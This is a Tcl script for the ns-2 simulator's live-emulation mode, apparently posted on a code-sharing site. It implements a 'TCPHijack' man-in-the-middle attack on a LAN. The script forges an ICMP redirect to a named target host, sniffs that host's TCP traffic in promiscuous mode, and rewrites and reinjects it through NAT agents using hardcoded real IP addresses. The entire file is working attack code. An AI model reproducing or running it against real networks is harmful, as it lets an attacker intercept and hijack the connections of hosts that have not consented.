emtcp.tcl
上传用户:rrhhcc
上传日期:2015-12-11
资源大小:54129k
文件大小:3k
源码类别:

通讯编程

开发平台:

Visual C++

  1. #
  2. # TCPHijack -- the idea of this script is to sit on a LAN and
  3. # send an icmp redirect to our "target" machine.  The target is
  4. # then lead into believing we (the emulating host) are the correct
  5. # router for the destination.
  6. # By performing NAT on the TCP stream, we cause the TCP traffic to
  7. # pass through us on the way to the destination.
  8. # We need a bogus [unused] IP address on the subnet for this.
  9. #
  10. set targetip 131.243.1.89; # coot
  11. set dummyip 131.243.1.86; # bit
  12. set gwip 131.243.1.1; # ir40gw
  13. set dstip 128.32.33.5; # vangogh.cs.berkeley.edu
  14. Class TCPHijack
  15. TCPHijack instproc config ns {
  16. $self instvar ns_
  17. set ns_ $ns
  18. $self maketopo
  19. $self makeicmp
  20. $self makeip
  21. $self makepcap
  22. $self maketcpnat
  23. $self makeconnections
  24. }
  25. TCPHijack instproc maketopo {} {
  26. $self instvar ns_ node_
  27. set node_(icmp) [$ns_ node]
  28. set node_(ip) [$ns_ node]
  29. set node_(nat) [$ns_ node]
  30. set node_(pcap) [$ns_ node]
  31. $ns_ simplex-link $node_(icmp) $node_(ip) 10Mb 0.002ms DropTail
  32. $ns_ simplex-link $node_(nat) $node_(ip) 10Mb 0.002ms DropTail
  33. $ns_ simplex-link $node_(pcap) $node_(nat) 10Mb 0.002ms DropTail
  34. }
  35. TCPHijack instproc makeicmp {} {
  36. $self instvar node_ agent_ ns_
  37. set agent_(icmp) [new Agent/IcmpAgent]
  38. $ns_ attach-agent $node_(icmp) $agent_(icmp)
  39. return $agent_(icmp)
  40. }
  41. TCPHijack instproc makepcap {} {
  42. global targetip dstip dummyip
  43. $self instvar node_ agent_ ns_
  44. # pcap for snarfing outbound tcp packets
  45. # (pkts sent from target to destination)
  46. set livenet [new Network/Pcap/Live]
  47. $livenet set promisc_ true
  48. $livenet open readonly
  49. $livenet filter "tcp and src $targetip and dst $dstip"
  50. set agent_(pcapforw) [new Agent/Tap]
  51. $agent_(pcapforw) network $livenet
  52. # pcap for snarfing inbound tcp packet
  53. # (pkts received from destination to dummy)
  54. set livenet [new Network/Pcap/Live]
  55. $livenet set promisc_ true
  56. $livenet open readonly
  57. $livenet filter "tcp and src $dstip and dst $dummyip"
  58. set agent_(pcapback) [new Agent/Tap]
  59. $agent_(pcapback) network $livenet
  60. $ns_ attach-agent $node_(pcap) $agent_(pcapforw)
  61. $ns_ attach-agent $node_(pcap) $agent_(pcapback)
  62. }
  63. TCPHijack instproc makeip {} {
  64. $self instvar node_ agent_ ns_
  65. set livenet [new Network/IP]
  66. $livenet open writeonly
  67. set agent_(ip) [new Agent/Tap]
  68. $agent_(ip) network $livenet
  69. $ns_ attach-agent $node_(ip) $agent_(ip)
  70. }
  71. TCPHijack instproc makeconnections {} {
  72. $self instvar node_ agent_ ns_
  73. $ns_ simplex-connect $agent_(icmp) $agent_(ip)
  74. $ns_ simplex-connect $agent_(snat) $agent_(ip)
  75. $ns_ simplex-connect $agent_(dnat) $agent_(ip)
  76. $ns_ simplex-connect $agent_(pcapforw) $agent_(snat)
  77. $ns_ simplex-connect $agent_(pcapback) $agent_(dnat)
  78. }
  79. TCPHijack instproc maketcpnat {} {
  80. global dummyip targetip
  81. $self instvar node_ agent_ ns_
  82. set agent_(snat) [new Agent/NatAgent/TCPSrc]
  83. $agent_(snat) source $dummyip
  84. set agent_(dnat) [new Agent/NatAgent/TCPDest]
  85. $agent_(dnat) destination $targetip
  86. $ns_ attach-agent $node_(nat) $agent_(snat)
  87. $ns_ attach-agent $node_(nat) $agent_(dnat)
  88. }
  89. TCPHijack instproc sendredirect {} {
  90. global gwip targetip dstip dummyip
  91. $self instvar agent_
  92. $agent_(icmp) send redirect $gwip $targetip $dstip $dummyip
  93. }
  94. TCPHijack thobj
  95. set th "thobj"
  96. set ns [new Simulator]
  97. $ns use-scheduler RealTime
  98. $th config $ns
  99. $ns at 0.0 "$th sendredirect"
  100. $ns run